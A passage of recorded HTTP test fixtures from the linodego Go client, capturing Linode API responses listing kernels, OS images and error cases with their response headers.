https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/kernels/linode%2Flatest-32bit method: GET response: body: '{"id": "linode/latest-32bit", "label": "Latest 32 bit (6.1.10-x86-linode179)", "version": "6.1.10", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Length: - "204" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - unknown X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/kernels/linode%2Flatest-64bit method: GET response: body: '{"id": "linode/latest-64bit", "label": "Latest 64 bit (6.1.10-x86_64-linode159)", "version": "6.1.10", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Length: - "209" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - unknown X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/ExampleGetType_missing.yaml000066400000000000000000000020311455402072200320610ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/types/missing-type method: GET response: body: '{"errors": [{"reason": "Not found"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Cache-Control: - private, max-age=900 Content-Length: - "37" Content-Type: - application/json Server: - nginx Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" status: 404 Not Found code: 404 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/ExampleListImages_all.yaml000066400000000000000000000347721455402072200316610ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/images method: GET response: body: '{"pages": 1, "data": [{"id": "private/20403225", "label": "splunk-build - Alpine 3.17 Disk", "description": "", "created": "2018-01-02T03:04:05", "updated": null, "size": 5463, "created_by": null, "type": "automatic", "is_public": false, "deprecated": false, "vendor": null, "expiry": "2018-01-02T03:04:05", "eol": null, "status": "available", "capabilities": []}, {"id": "linode/almalinux8", "label": "AlmaLinux 8", "deprecated": false, "size": 1700, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "AlmaLinux", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/almalinux9", "label": "AlmaLinux 9", "deprecated": false, "size": 1700, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "AlmaLinux", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/alpine3.14", "label": "Alpine 3.14", "deprecated": false, "size": 400, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Alpine", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/alpine3.15", "label": "Alpine 3.15", "deprecated": false, "size": 400, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Alpine", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/alpine3.16", "label": "Alpine 3.16", "deprecated": false, "size": 400, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Alpine", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/alpine3.17", "label": "Alpine 3.17", "deprecated": false, "size": 400, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Alpine", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/alpine3.18", "label": "Alpine 3.18", "deprecated": false, "size": 400, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Alpine", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/arch", "label": "Arch Linux", "deprecated": false, "size": 1500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Arch", "expiry": null, "eol": null, "status": "available", "capabilities": []}, {"id": "linode/centos7", "label": "CentOS 7", "deprecated": false, "size": 2800, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "CentOS", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/centos-stream8", "label": "CentOS Stream 8", "deprecated": false, "size": 2600, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "CentOS", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/centos-stream9", "label": "CentOS Stream 9", "deprecated": false, "size": 1200, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "CentOS", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/debian10", "label": "Debian 10", "deprecated": false, "size": 1500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/debian11", "label": "Debian 11", "deprecated": false, "size": 1300, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/fedora36", "label": "Fedora 36", "deprecated": false, "size": 1600, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Fedora", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/fedora37", "label": "Fedora 37", "deprecated": false, "size": 1800, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Fedora", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/fedora38", "label": "Fedora 38", "deprecated": false, "size": 1600, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Fedora", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/gentoo", "label": "Gentoo", "deprecated": false, "size": 5500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Gentoo", "expiry": null, "eol": null, "status": "available", "capabilities": []}, {"id": "linode/kali", "label": "Kali Linux", "deprecated": false, "size": 1536, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Kali", "expiry": null, "eol": null, "status": "available", "capabilities": []}, {"id": "linode/debian11-kube-v1.24.8", "label": "Kubernetes 1.24.8 on Debian 11", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/debian11-kube-v1.25.4", "label": "Kubernetes 1.25.4 on Debian 11", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/debian11-kube-v1.26.1", "label": "Kubernetes 1.26.1 on Debian 11", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/debian11-kube-v1.26.3", "label": "Kubernetes 1.26.3 on Debian 11", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/opensuse15.4", "label": "openSUSE Leap 15.4", "deprecated": false, "size": 1550, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "openSUSE", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/rocky8", "label": "Rocky Linux 8", "deprecated": false, "size": 2300, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Rocky", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/rocky9", "label": "Rocky Linux 9", "deprecated": false, "size": 2300, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Rocky", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/slackware14.2", "label": "Slackware 14.2", "deprecated": false, "size": 6000, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Slackware", "expiry": null, "eol": "1970-01-01T05:00:00", "status": "available", "capabilities": []}, {"id": "linode/slackware15.0", "label": "Slackware 15.0", "deprecated": false, "size": 11000, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Slackware", "expiry": null, "eol": null, "status": "available", "capabilities": []}, {"id": "linode/ubuntu16.04lts", "label": "Ubuntu 16.04 LTS", "deprecated": false, "size": 2700, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Ubuntu", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/ubuntu18.04", "label": "Ubuntu 18.04 LTS", "deprecated": false, "size": 2700, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Ubuntu", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/ubuntu20.04", "label": "Ubuntu 20.04 LTS", "deprecated": false, "size": 2000, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Ubuntu", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/ubuntu22.04", "label": "Ubuntu 22.04 LTS", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Ubuntu", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/ubuntu22.10", "label": "Ubuntu 22.10", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Ubuntu", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/ubuntu23.04", "label": "Ubuntu 23.04", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Ubuntu", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/debian9", "label": "Debian 9", "deprecated": true, "size": 1600, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/slackware14.1", "label": "Slackware 14.1", "deprecated": true, "size": 1000, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": null, "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Slackware", "expiry": null, "eol": null, "status": "available", "capabilities": []}], "results": 36, "page": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/ExampleListImages_badfilter.yaml000066400000000000000000000021561455402072200330340ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"foo":"bar"}' url: https://api.linode.com/v4beta/images method: GET response: body: '{"errors": [{"reason": "Cannot filter on foo", "field": "X-Filter"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store Content-Length: - "69" Content-Type: - application/json Server: - nginx Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" status: 400 Bad Request code: 400 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/ExampleListImages_notfound.yaml000066400000000000000000000030251455402072200327300ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"label":"not-found"}' url: https://api.linode.com/v4beta/images method: GET response: body: '{"pages": 0, "data": [], "results": 0, "page": 0}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "49" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/ExampleListKernels_all.yaml000066400000000000000000002215261455402072200320520ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/kernels method: GET response: body: '{"data": [{"id": "linode/latest-2.6-32bit", "label": "Latest 2.6 (2.6.39.1-linode34)", "version": "2.6.39", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/latest-2.6", "label": "Latest 2.6 Stable (2.6.23.17-linode44)", "version": "2.6.24", "kvm": false, "architecture": "i386", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/latest-32bit", "label": "Latest 32 bit (6.1.10-x86-linode179)", "version": "6.1.10", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-linode22", "label": "Latest Legacy (2.6.18.8-linode22)", "version": "2.6.18", "kvm": false, "architecture": "i386", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.2.9-x86_64-linode160", "label": "6.2.9-x86_64-linode160", "version": "6.2.9", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.2.9-x86-linode180", "label": "6.2.9-x86-linode180", "version": "6.2.9", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.1.10-x86_64-linode159", "label": "6.1.10-x86_64-linode159", "version": "6.1.10", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.1.10-x86-linode179", "label": "6.1.10-x86-linode179", "version": "6.1.10", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.0.10-x86_64-linode158", "label": "6.0.10-x86_64-linode158", "version": "6.0.10", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.0.10-x86-linode178", "label": "6.0.10-x86-linode178", "version": "6.0.10", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.0.2-x86_64-linode157", "label": "6.0.2-x86_64-linode157", "version": "6.0.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.0.2-x86-linode177", "label": "6.0.2-x86-linode177", "version": "6.0.2", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.19.2-x86_64-linode156", "label": "5.19.2-x86_64-linode156", "version": "5.19.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.19.2-x86-linode176", "label": "5.19.2-x86-linode176", "version": "5.19.2", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.18.2-x86_64-linode155", "label": "5.18.2-x86_64-linode155", "version": "5.18.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.18.2-x86-linode175", "label": "5.18.2-x86-linode175", "version": "5.18.2", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.17.5-x86_64-linode154", "label": "5.17.5-x86_64-linode154", "version": "5.17.5", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.17.5-x86-linode174", "label": "5.17.5-x86-linode174", "version": "5.17.5", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.16.13-x86-linode173", "label": "5.16.13-x86-linode173", "version": "5.16.13", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.16.13-x86_64-linode153", "label": "5.16.13-x86_64-linode153", "version": "5.16.13", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.16.3-x86_64-linode152", "label": "5.16.3-x86_64-linode152", "version": "5.16.3", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.16.3-x86-linode172", "label": "5.16.3-x86-linode172", "version": "5.16.3", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.15.10-x86_64-linode151", "label": "5.15.10-x86_64-linode151", "version": "5.15.10", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.15.10-x86-linode171", "label": "5.15.10-x86-linode171", "version": "5.15.10", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.14.17-x86_64-linode150", "label": "5.14.17-x86_64-linode150", "version": "5.14.17", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.14.17-x86-linode170", "label": "5.14.17-x86-linode170", "version": "5.14.17", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.14.15-x86_64-linode149", "label": "5.14.15-x86_64-linode149", "version": "5.14.15", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.14.15-x86-linode169", "label": "5.14.15-x86-linode169", "version": "5.14.15", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.14.14-x86_64-linode148", "label": "5.14.14-x86_64-linode148", "version": "5.14.14", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.14.14-x86-linode168", "label": "5.14.14-x86-linode168", "version": "5.14.14", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.14.2-x86_64-linode147", "label": "5.14.2-x86_64-linode147", "version": "5.14.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.14.2-x86-linode167", "label": "5.14.2-x86-linode167", "version": "5.14.2", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.13.4-x86_64-linode146", "label": "5.13.4-x86_64-linode146", "version": "5.13.4", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.13.4-x86-linode166", "label": "5.13.4-x86-linode166", "version": "5.13.4", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.12.13-x86_64-linode145", "label": "5.12.13-x86_64-linode145", "version": "5.12.13", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.12.13-x86-linode165", "label": "5.12.13-x86-linode165", "version": "5.12.13", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.12.2-x86_64-linode144", "label": "5.12.2-x86_64-linode144", "version": "5.12.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.12.2-x86-linode164", "label": "5.12.2-x86-linode164", "version": "5.12.2", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.11.13-x86_64-linode143", "label": "5.11.13-x86_64-linode143", "version": "5.11.13", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.11.13-x86-linode163", "label": "5.11.13-x86-linode163", "version": "5.11.13", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.11.9-x86_64-linode142", "label": "5.11.9-x86_64-linode142", "version": "5.11.9", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.11.9-x86-linode162", "label": "5.11.9-x86-linode162", "version": "5.11.9", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.10.13-x86_64-linode141", "label": "5.10.13-x86_64-linode141", "version": "5.10.13", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.10.13-x86-linode161", "label": "5.10.13-x86-linode161", "version": "5.10.13", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.10.2-x86_64-linode140", "label": "5.10.2-x86_64-linode140", "version": "5.10.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.10.2-x86-linode160", "label": "5.10.2-x86-linode160", "version": "5.10.2", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.9.6-x86_64-linode139", "label": "5.9.6-x86_64-linode139", "version": "5.9.6", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.9.6-x86-linode159", "label": "5.9.6-x86-linode159", "version": "5.9.6", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.8.10-x86-linode158", "label": "5.8.10-x86-linode158", "version": "5.8.10", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.8.10-x86_64-linode138", "label": "5.8.10-x86_64-linode138", "version": "5.8.10", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.8.3-x86_64-linode137", "label": "5.8.3-x86_64-linode137", "version": "5.8.3", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.8.3-x86-linode157", "label": "5.8.3-x86-linode157", "version": "5.8.3", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.7.6-x86-linode156", "label": "5.7.6-x86-linode156", "version": "5.7.6", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.6.14-x86-linode155", "label": "5.6.14-x86-linode155", "version": "5.6.14", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.6.1-x86-linode154", "label": "5.6.1-x86-linode154", "version": "5.6.1", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.4.10-x86-linode152", "label": "5.4.10-x86-linode152", "version": "5.4.10", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.3.11-x86-linode151", "label": "5.3.11-x86-linode151", "version": "5.3.11", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": 